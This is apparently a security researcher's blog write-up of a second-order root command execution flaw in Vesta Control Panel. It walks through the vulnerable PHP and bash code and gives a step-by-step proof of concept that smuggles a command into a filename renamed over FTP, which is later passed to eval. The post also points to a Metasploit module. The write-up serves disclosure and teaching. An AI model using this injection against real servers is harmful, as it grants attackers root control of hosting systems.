vesta panel

Vesta Control Panel Second Order Remote Code Execution 0day Step-by-Step Analysis

I believe that doing a security research is all about trying to understand high-level of architecture of the products and finding a creative attack vectors.

I hope this blog post will show some the readers how to start doing security research.

Installation

You can install that software Debian/Ubuntu or CentOS. I’ve installed it on Ubuntu 18.10 x64 by following 3 steps at http://vestacp.com/install/.

# Connect to your server as root via SSH
ssh [email protected]
# Download installation script
curl -O http://vestacp.com/pub/vst-install.sh
# Run it
bash vst-install.sh

Vuln 0x01 – Security Design of Bash Script Executions

During static analysis of the web application, I’ve seen lots of bash script execution behind the scene. Let me give your one example from login process.

// VESTA_CMD variable definition is as follow.
define('VESTA_CMD', '/usr/bin/sudo /usr/local/vesta/bin/');
// ... OMITTED CODE...
if (isset($_POST['user']) && isset($_POST['password'])) {
    if(isset($_SESSION['token']) && isset($_POST['token']) && $_POST['token'] == $_SESSION['token']) {
        $v_user = escapeshellarg($_POST['user']);
        $v_ip = escapeshellarg($_SERVER['REMOTE_ADDR']);

        // Get user's salt
        $output = '';
        exec (VESTA_CMD."v-get-user-salt ".$v_user." ".$v_ip." json" , $output, $return_var);
        $pam = json_decode(implode('', $output), true);
        // ... OMITTED CODE...

Of course, having a input validation on user parameter would be better even if it’s securely used in exec() call. In order to find a possible insecure usage of exec() function call, I’ve reviewed all the source code but couldn’t find any. In the meantime, you may thinking about sudo command at the beginning of the VESTA_CMD variable. Yes, all the bash scripts will be executed by sudo binary through administrator interface (PHP).

Following screenshot show that PHP-FPM process is running with admin user privileges, which is capable executing sudo command and eventually executes bash scripts.

So that means, admin user must have a root privileges. Here is the content of the sudoers file. Bash scripts, executables shouldn’t be executed under the context of privileged accounts, especially with user controllable datas.

root@mincelocal:~# cat /etc/sudoers|grep admin
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
root@mincelocal:~# 

As I said before, all exec() or similar function calls has been securely used in the code base. That means, we can NOT directly have command injection vulnerability. But what if we can find an insecure command within one of the bash script with a user controllable variable ?

Vuln 0x02 – Second Order RCE on Backup Process

While I was reviewing bash script of some of the functionalists, one thing caught my attention. When you send GET request to the https://url:8083/schedule/backup/ endpoint, it will executed following PHP codes.

include($_SERVER['DOCUMENT_ROOT']."/inc/main.php");

$v_username = escapeshellarg($user);
exec (VESTA_CMD."v-schedule-user-backup ".$v_username, $output, $return_var);

Let’s have a look at content of the v-schedule-user-backup bash script file.

#!/bin/bash

# Argument definition
user=$1

# Includes
source $VESTA/func/main.sh
source $VESTA/conf/vesta.conf

check_args '1' "$#" 'USER'
is_format_valid 'user'
is_system_enabled "$BACKUP_SYSTEM" 'BACKUP_SYSTEM'
is_object_valid 'user' 'USER' "$user"
is_backup_enabled
is_backup_scheduled 'backup'

# Adding backup task to  the queue
log=$VESTA/log/backup.log
echo "$BIN/v-backup-user $user yes >> $log 2>&1" >>\
    $VESTA/data/queue/backup.pipe

# Logging
log_event "$OK" "$ARGUMENTS"

exit

Nothing interesting so far. We can NOT even control user variable, since it’s coming from session. But v-schedule-user-backup is executing v-backup-user file. Let’s keep reading. That bash scripts does what it says, it gathers all the data related to our user and compress it as a tar.gz file.

That bash script has 945 line of code. For that reason, I’m only showing important parts.

Following code section is taken lines between 900-920 from v-backup-user file. It writes multiple variable into the backup.conf file (that’ll be very important later!)

# Registering new backup
backup_str="BACKUP='$user.$backup_new_date.tar'"
backup_str="$backup_str TYPE='$BACKUP_SYSTEM' SIZE='$size'"
backup_str="$backup_str WEB='${web_list// /,}'"
backup_str="$backup_str DNS='${dns_list// /,}'"
backup_str="$backup_str MAIL='${mail_list// /,}'"
backup_str="$backup_str DB='${db_list// /,}'"
backup_str="$backup_str CRON='$cron_list'"
backup_str="$backup_str UDIR='${udir_list// /,}'"
backup_str="$backup_str RUNTIME='$run_time' TIME='$time' DATE='$date'"
echo "$backup_str" >> $USER_DATA/backup.conf

One of the variable is 9. line udir_list , which is being populated by following code section around line 400-450 in the code base.

    for udir in $(ls -a |egrep -v "^conf$|^web$|^dns$|^mail$|^\.\.$|^\.$"); do
        exclusion=$(echo "$USER" |tr ',' '\n' |grep "^$udir$")
        if [ -z "$exclusion" ]; then
            ((i ++))
            udir_list="$udir_list $udir"
            echo -e "$(date "+%F %T") adding $udir" |tee -a $BACKUP/$user.log

            # Backup files and dirs
            tar --anchored -cpf- ${fargs[@]} $udir |gzip -$BACKUP_GZIP - > $tmpdir/user_dir/$udir.tar.gz
        fi
    done

It basically works as follow in order:
–       Get speficis folder names and files start with dots.
–       Compress them into the backup file.
–       Replace spaces within the file and/or folder names in case of whitespace. (that’ll be important too)

In the end you will have your tar backup file on your user’s folder. Please keep that information in your mind, we’ll come back here later ! Now let’s see what’s happening when your list existing backup file via web panel.

Listing Existing Backup

Following URL can be used to list current backups. https://URL:8083/list/backup/

    exec (VESTA_CMD."v-list-user-backup $user ".escapeshellarg($_GET['backup'])." json", $output, $return_var);
    $data = json_decode(implode('', $output), true);
    $data = array_reverse($data,true);
    unset($output);

That endpoint will execute v-list-user-backups bash script file with user, backup and json variables retrieves some information about user’s backup and shows them on web ui.

Let’s have a look at v-list-user-backup implementation. Please keep that in your mind, we are interested with json output.

json_list() {
    IFS=$'\n'
    i=1
    objects=$(grep BACKUP $USER_DATA/backup.conf |wc -l)
    echo "{"
    while read str; do
        eval $str
        echo -n '    "'$BACKUP'": {
        "TYPE": "'$TYPE'",
        "SIZE": "'$SIZE'",
        "WEB": "'$WEB'",
        "DNS": "'$DNS'",
        "MAIL": "'$MAIL'",
        "DB": "'$DB'",
        "CRON": "'$CRON'",
        "UDIR": "'$UDIR'",
        "RUNTIME": "'$RUNTIME'",
        "TIME": "'$TIME'",
        "DATE": "'$DATE'"
    }'
        if [ "$i" -lt "$objects" ]; then
            echo ','
        else
            echo
        fi
        ((i++))
    done < <(cat $USER_DATA/backup.conf)
    echo '}'
}

Allright, that’s interesting : ) Content of the user’s backup.conf file read and string is being passed to the eval J It’s time to remember first stage of that report, backup.conf is being created with multiple parameter (remember udir_list)

root@mincelocal:~# cat /usr/local/vesta/data/users/user01/backup.conf 

BACKUP='user01.2020-03-13_13-40-01.tar' TYPE='local' SIZE='1' WEB='' DNS='' MAIL='' DB='' CRON='' UDIR='.bash_logout,.bashrc,.profile,tmp' RUNTIME='1' TIME='13:40:01' DATE='2020-03-13'

root@mincelocal:~# 

Here is the content of the backup.conf file. All the files starts with dot is in the UDIR definiton with single quotes and thanks to best operating system ever Linux, we can use single quotes in the files name 🙂 We can connect our user’s homefolder with FTP and renamed .bash_logout file with something .bash_logout’;$(PAYLOAD);’ will be our payload.

PoC

1 – User login to the FTP

2 – Renamed the .bash_logout with bash_logout’;$(sleep${IFS}1337);’ ! white-space will break the payload. Remember sed command on the previouse section!

3 – User login to the web application.

4 – Trigger the backup process.

5 – When the backup process finished, wait like 3-4 minutes, Here is the content of the backup.conf with implanted payload.

root@mincelocal:~# cat /usr/local/vesta/data/users/user01/backup.conf 

BACKUP='user01.2020-03-13_13-40-01.tar' TYPE='local' SIZE='1' WEB='' DNS='' MAIL='' DB='' CRON='' UDIR='.bash_logout';$(sleep${IFS}1337);',.bashrc,.profile,tmp' RUNTIME='1' TIME='13:40:01' DATE='2020-03-13'

6 – Go to https://192.168.74.218:8083/list/backup/endpoint where we trigger the v-list-user-backup bash script execution. v-list-user-backup will read the content of the backup.conf file which contains our payload in the filename changed via FTP on step 2. 

7 – eval is being called.

8 – Thanks to the first vulnerability, that command will be executed as a root !

Exploitation

Ofcourse executing a sleep command with root privileges is not enough ! Here is the Metasploit module in action fellers !

One of the major problem about exploitation is that we have length limitation on file name 🙂 Also space within the file name is forbidden because it breaks bash script eval command. So you may want to read Metasploit module’s source code in order to see how I managed to overcome these problems.

https://github.com/rapid7/metasploit-framework/pull/13094

Mehmet Ince

Master Ninja @ Prodaft / INVICTUS Europe.